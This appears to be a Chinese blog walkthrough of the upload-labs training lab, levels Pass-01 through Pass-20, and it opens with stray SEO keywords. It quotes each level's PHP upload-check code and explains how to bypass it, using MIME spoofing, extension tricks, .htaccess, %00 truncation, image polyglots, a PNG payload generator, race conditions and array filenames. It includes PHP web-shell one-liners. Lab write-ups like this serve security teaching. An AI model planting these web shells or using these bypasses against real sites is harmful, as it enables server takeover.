外贸网站需要备案吗,wordpress头部背景,南昌seo网站,湖北网络营销推广怎么做下载地址https://github.com/c0ny1/upload-labs/releases
Pass-01 他让我们上传一张图片#xff0c;我们先尝试上传一个php文件 发现他只允许上传图片格式的文件#xff0c;我们来看看源码 我们可以看到它使用js来限制我们可以上传的内容 但是我们的浏览器是可以关闭js功能的…下载地址https://github.com/c0ny1/upload-labs/releases
Pass-01 他让我们上传一张图片我们先尝试上传一个php文件 发现他只允许上传图片格式的文件我们来看看源码 我们可以看到它使用js来限制我们可以上传的内容 但是我们的浏览器是可以关闭js功能的我们可以在浏览器的设置中关闭浏览器的js功能 重新加载之后我们进行上传 我们可以看到我们的上传成功了 我们复制图片的地址访问我们上传的php文件 成功访问并且执行了php代码 我们尝试构建一句话木马然后上传
?php eval($_POST[1]); ?
这是我们构建的最简单的一句话木马注意这个一句话木马很容易被杀毒软件识别并将我们的php文件删除因为eval()被认为是一个危险函数
?php $_GET[0]($_GET[1]); ?
如果上述文件被识别的话我们可以这样写我使用的是第一种 我们使用蚁剑进行测试 具体的连接测试请看这篇文章 接下来我直接使用phpinfo()进行测试上传成功即可
Pass-02
我们继续上传我们的php文件 但是很明显不行
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {//这里呢它是在检测文件的类型if (($_FILES[upload_file][type] image/jpeg) || ($_FILES[upload_file][type] image/png) || ($_FILES[upload_file][type] image/gif)) {//它创建一个临时文件$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / . $_FILES[upload_file][name] //将临时文件复制到正常的文件中 if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 文件类型不正确请重新上传;}} else {$msg UPLOAD_PATH.文件夹不存在,请手工创建;}
}
我们经过分析源码呢知道了它在检测我们的文件类型 我们可以使用burpsuite进行抓包更改它的文件类型
我们将这里的文件类型改为image/jpeg然后放包 成功上传
Pass-03 我们继续上传后发现它这次好像是将我们的可执行文件加入了黑名单
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.asp,.aspx,.php,.jsp);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //收尾去空if(!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 不允许上传.asp,.aspx,.php,.jsp后缀文件;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}
我们看到源码看起来好像没什么问题过滤了我们的可执行文件 但是呢我们的apache有一个特性在某些特定的版本中它会有这样一段代码 它的意思呢是告诉apache将哪写后缀作为php解析 所以我们可以将我们的后缀写为php1php3php4等然后就可以成功上传了
Pass-04
先上传看提示 貌似看不出来什么问题我们看源码
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,php1,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,pHp1,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.date(YmdHis).rand(1000,9999).$file_ext;if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件不允许上传!;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}
我们发现它将我们所有可能的后缀都加入了黑名单包括大小写其实它将大小写加入黑名单多此一举因为它使用函数将我们的文件名转为了小写 那么现在怎么办呢
.htaccess
.htaccess文件是Apache服务器中的一个配置文件它负责相关目录下的网页配置。Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的但是有的主机服务商可能不允许你自定义自己的.htaccess文件。 .htaccess文件可以的事情主要包括文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表等等。 通过htaccess文件可以帮我们实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
它有很多参数这里我们需要用到 Sethandler application/x-httpd-php 将该目录及子目录的所有文件均映射为php文件类型。 我们就按照查询到的结果将我们的文件内容和名字进行更改 我们先进行上传上传成功后然后将我们的一句话木马的文件后缀改为它让通过的文件类型 访问上传的文件 可以执行php代码
Pass-05
很显然它一定会把我们的.hatccess过滤掉所以我们直接看源码
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //首尾去空
如果仔细看过前几关的源码你会瞬间发现问题他这关没有过滤我们的大写 所以我们直接将我们的后缀名改为大写即可
Pass-06
查看源码
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name $_FILES[upload_file][name];$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA
对比上一关没有收尾去空 所以我们给我们的文件后缀名加上空格我们来试试 我们将空格加在后缀名的后边 上传失败可能不是这么用的我们加在中间 上传成功了但是没有解析 这是因为windows的特性会将我们的后缀的空格去掉所以我们使用抓包 在我标记的地方添加空格即可上传成功
Pass-07
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name trim($_FILES[upload_file][name]);$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //首尾去空 查看源码与之前代码相比少了删除末尾的点 所以怎么做应该显而易见我们先试试 其实在我们更改文件后缀的时候我们就发现改过之后文件末尾的点怎么好像是消失了 是不是和空格一样会被windows删掉不知道百度一下果然如此所以我们继续抓包 末尾加点之后成功上传
Pass-08
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext trim($file_ext); //首尾去空
查看源码发现没有过滤::$DATA 继续抓包修改文件名 上传成功
Pass-09
查看源码可以看到它将之前所有的注入点全部添加上了但是仔细看过之后它好像没有循环验证每个点只验证了一次所以按照他的步骤他先删除了一个点然后转小写去除$DATA字符之后删除空格反推一下我们可以写成php. .,他过滤完之后剩下的就是php.然后就正常上传windows的特性会帮我们删除最后一个点所以文件后缀就剩下php 话不多说开始抓包 可以看到是成功上传的 上传的文件也和预期的一样
Pass-10
$is_upload false;
$msg null;
if (isset($_POST[submit])) {//它先看了一下是否存在文件路径if (file_exists(UPLOAD_PATH)) {//创建一个数组其中包含不允许上传的文件扩展名列表$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess);//从上传的文件信息中获取文件名$file_name trim($_FILES[upload_file][name]);//将含有特殊文件名的文件名替换成空$file_name str_ireplace($deny_ext,, $file_name);//获取上传文件的临时文件名$temp_file $_FILES[upload_file][tmp_name];//构建文件上传后的路径将上传目录和文件名拼接在一起。$img_path UPLOAD_PATH./.$file_name; //移动临时的文件到目标路径 php的上传特性 if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}
分析源码后可以看到它将文件扩展名替换成了空但是它允许我们上传。 是不是直接双写就可以绕过呢 试试呗 写成这样他从前往后看将php去掉 可以看到上传成功
Pass-11
$is_upload false;
$msg null;
if(isset($_POST[submit])){//定义一个白名单$ext_arr array(jpg,png,gif);//先获取文件名然后截取后缀$file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1);//判断有没有在白明单中if(in_array($file_ext,$ext_arr)){//获取临时文件名$temp_file $_FILES[upload_file][tmp_name];//定义一个get传参将临时文件进行重命名重命名以后将后缀拼上$img_path $_GET[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}} else{$msg 只允许上传.jpg|.png|.gif类型文件;}
}
分析代码看起来好像没什么问题他用的白名单很难绕过这怎么办 这里就要引入一个新的知识叫做 00截断 00截断就是用户在url输入中输入包含%00经过浏览器解码后会自动转码将后面的字符截断 比如url输入1.php%00.jpg经过url转码后会成为1.php\000.jpg php解析时会将文件解析为1.php将后面的字符截断 为什么会出现这样的现象因为php的底层语言使用的是C语言而C语言中的结束符就是 \0 由于这个漏洞危害过高所以只能在5.2版本中使用之后的版本都已经修复 这里源码的这一段也很重要
$img_path $_GET[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;先抓包看看 可以看到它通过get传参接收到../upload/这样的一个路径 可以这样写../upload/2.php它经过上边的代码之后 就会是upload/2.php/随机数时间.我们的文件后缀 这样的一个路径 我们在upload/2.php%00/随机数时间.我们的文件后缀 等于是上传后变成了upload/2.php
if(move_uploaded_file($temp_file,$img_path)){
然后看这段代码它在干什么 它将我们临时文件中的内容重新复制到了2.php中 还是一样试一试 上传成功
Pass-12
分析源码看到它将上一关的get传参变为了post传参 其实方法是一样的唯一的区别就是post不会进行解码所以我们要先对%00进行url编码 抓包
上传成功
Pass-13
function getReailFileType($filename){$file fopen($filename, rb);$bin fread($file, 2); //只读2字节fclose($file);$strInfo unpack(C2chars, $bin); $typeCode intval($strInfo[chars1].$strInfo[chars2]); $fileType ;
看看他写的这个函数他读取了文件的前两个字节用来判断上传的是什么格式的因为不同图片格式的开头的前两个字节就代表了这个图片的格式
在这里我们也可以看到他给了我们提示用图片马进行绕过那你就用呗 先找一张jpg格式的图片再准备一个写入了php代码的文件
使用windows的cmd直接将php文件中的二进制内容复制到图片中生成新的图片 可以看到已经写入图片文件中虽然图片显示的内容不是正常的但是依然可以打开 上传成功
这里还需要用到文件包含漏洞 这四个函数保护
include 包含 include_once包含一次
require 引入 require_once引入一次 他们有一个最终要的特性是他包含的所有文件都会被当作php文件进行解析 这里呢源码中给我们准备了一个用于测试文件包含的php文件一般情况下是没有人会这么写的 因为文件包含是不可能让用户控制的这是非常危险的但是既然他给了我们就用他给的测试一下 他的源码是这样的使用get传参去接收我们的文件 可以看到它将上传的jpg格式的文件解析了
Pass-14 这关他使用getimagesize函数读取文件十六进制的前几个字符串所以这关依然可以使用上一关的方法
Pass-15
分析源码看到他使用exif_imagetype函数判断一个图像的类型 这看起来没有什么意义因为使用图片马上传的本身就是他规定格式内的文件 所以依然使用相同的 方法
Pass-16 这里他使用了imagecreatefromjpeg imagecreatefrompng imagecreatefromgif 这三个函数 意思就是改变了图片中关键地方的代码将图片二次渲染如果使用前几关的方法我们的代码会被打乱或删除 怎么办呢 这里先尝试gif因为png和jpg的格式比较复杂 先将一张gif图片上传然后将上传后的图片下载下来 我使用的是010editor 使用010editor打开下载的图与原图进行比较看看哪些地方没有被改动 在这里去找点击Match去找去蓝色区域表示是相同的就代表这这里的区域在它二次渲染的时候没有被动过 可以仔细找找尽量在00区域去写这样能尽可能避免的损坏图片完成后保存上传 之后下载下来再看看看php语句是否完整 很好一次成功 尽量多去尝试因为有可能会失败将我们的语句打乱。 他要求三种格式都实现大家可以自己去试试反正我很少成功 这里有国外的大神写的代码可以直接拿来用upload-labs之pass 16详细分析 - 先知社区 (aliyun.com)
?php
$p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img imagecreatetruecolor(32, 32);for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,./1.png);
?
将这串代码运行可以看到生成了一个png文件 上传后下载下来看看 可以看到里面确实有一句话木马我们测试一下 因为他写的是一句话木马所以我们需要进行get和post传参 很明显成功了 就演示这么多剩下的jpg可以看着自己去尝试
Pass-17
$is_upload false;
$msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];$file_ext substr($file_name,strrpos($file_name,.)1);//上传文件$upload_file UPLOAD_PATH . / . $file_name;//将临时文件移动到目标路径如果移动成功则继续执行后续代码。if(move_uploaded_file($temp_file, $upload_file)){// 检查上传文件的扩展名是否在允许的扩展名数组中。没有就删除if(in_array($file_ext,$ext_arr)){$img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext;rename($upload_file, $img_path);$is_upload true;}else{$msg 只允许上传.jpg|.png|.gif类型文件;unlink($upload_file);}}else{$msg 上传出错;}
}
分析代码可以看到你可以上传文件但是他会直接将后缀不符合的文件进行删除 这怎么办利用条件竞争 怎么做 我们可以看到它先将文件上传之后再判断了文件后缀然后删除众所周知代码是按顺序执行的他既然上传了就会在服务器存在一段时间所以可以在它删除之前访问上传的文件 这有什么用 php可以创建文件并写入内容的如果在上传的文件中写入创建一个文件并写入php代码我们是不是就可以绕过它它虽然将我们传入的文件删除了但是我们在它删除之前已将新的php文件生成 开始尝试 写入生成文件的php代码并且生成在上一级 使用burpsuite抓包 把包放在爆破模块中 爆破的时候我们可以打开它的upload文件并疯狂刷新
可以看到文件确实上传了上去一瞬间就会消失我们就是要访问它 我们已经知道它具体在哪个文件下并且也知道文件名开始爆破后只需要疯狂访问就行 出现报错的时候就证明访问到了这里手速太快总是刷新过头所以没截到图 如果发现没有上传成功有可能是没有执行权限 现在就尝试访问看看php文件有没有执行
可以看到确实执行了
Pass-18
这关上传文件时文件不能被上传到upload中所以打开本关的myupload.php文件 在这里改一下 之后保存重新进入一下18关即可
分析源码可以看到这关是验证了文件的后缀可以使用和13关一样的方法即可绕过
虽然可以绕过但是它考察的肯定不是这里可以在源码中看到它的白名单中有很多无关的后缀 这根本和上传图片好像没有什么关系
百度了一下发现这是个中间件解析漏洞。
apache未知后缀解析漏洞有点像nginx解析漏洞
参考文件上传upload-labs 第19关 Apache解析漏洞配合条件竞争_upload-labs第19关-CSDN博客
这是一个由于apache配置错误引发的漏洞 先抓包试一下 将后缀改为zip 在upload文件中看到文件有未改名和改名的文件可以尝试访问这个未重命名的文件 并没有解析文件而是下载文件 再来尝试改后缀它白名单中允许了很多后缀 上传成功并且也有未重命名文件 成功访问并解析
为什么会出现有没有被重命名的文件并且成功上传的文件只有几个 代码使用time() 函数返回的时间戳作为重命名后的文件名time() 函数返回的时间戳通常只精确到秒级别如果用户在同一秒内点击上传按钮它们生成的时间戳将是相同的进行重命名时就会冲突失败。
快速点了三次一秒内发送就可能导致以下情况
第一个请求成功上传和重命名了一个文件。 第二个请求上传了一个文件但因为重命名冲突失败。 第三个请求可能遇到相同的问题因此也无法重命名文件。 每个请求原文件名都是一样的所以重命名失败后第三个覆盖第二个 最后保存的文件就只有两个分别是第一个请求和最后一个请求
Pass-19 可以看到这关多了一个保存文件名称 查看源码看到它没有对上传的文件名做判断只对用户输入的文件名做了判断 move_uploaded_file()这样一个函数它有一个特性会忽略到文件末尾的/. 直接上传我们的php文件并抓包 修改提交的文件名后缀 上传成功并成功解析
Pass-20
分析源码
$is_upload false;
$msg null;
if(!empty($_FILES[upload_file])){//检查MIME$allow_type array(image/jpeg,image/png,image/gif);if(!in_array($_FILES[upload_file][type],$allow_type)){$msg 禁止上传该类型文件!;}else{//检查文件名$file empty($_POST[save_name]) ? $_FILES[upload_file][name] : $_POST[save_name];if (!is_array($file)) {$file explode(., strtolower($file));}$ext end($file);$allow_suffix array(jpg,png,gif);if (!in_array($ext, $allow_suffix)) {$msg 禁止上传该后缀文件!;}else{$file_name reset($file) . . . $file[count($file) - 1];$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg 文件上传成功;$is_upload true;} else {$msg 文件上传失败;}}}
}else{$msg 请选择要上传的文件;
empty函数检查一下变量是否为空返回值如果变量是非零非空的值返回False否则返回True;
三运运算符(expr1) ? (expr2) : (expr3); 如果条件expr1 成立执行expr2,否则执行expr3;
end函数将内部指针指向数组最后一个元素并输出
reset函数将内部指针指向数组第一个元素并输出 if (!is_array($file)) {$file explode(., strtolower($file));}
在这里它先判断这个文件名是不是一个数组如果不是就将文件名以点进行分割成为了[‘1’,jpg] 然后使用end函数将最后的后缀拿出来比对黑名单 所以可以在上传的时候将文件名直接上传为数组[1.php,jpg] 它会认为这是一个数组[‘1.php‘jpg’] 它将最后一个元素也就是jpg拿走比对白名单时就可以绕过
$file_name reset($file) . . . $file[count($file) - 1];
在这里它使用resrt函数将数组中的第一个元素拿出来用点与数组中的最后一个元素拼接 就是说如果我们上传的时1.jpg那么我们的数组就时[1[0],jpg[1]] 它拿出第一个元素也就时0号元素1然后获取数组长度为2使用数组长度减一 2-11将1号元素拿出来最后拼接成为1.jpg 怎么绕过 上传的数组时需要上传为[1.php[0],jpg[2]]这样它拿出的第一元素为1.php第二元素使用数组长度减一2-11但是我们的数组中没有1号元素所以$file_name中就存储了1.php.但是windows的特性会自动删除后边的点 开始上传 将save_name更改为数组形式更改文件类型 可以看到成功上传 成功访问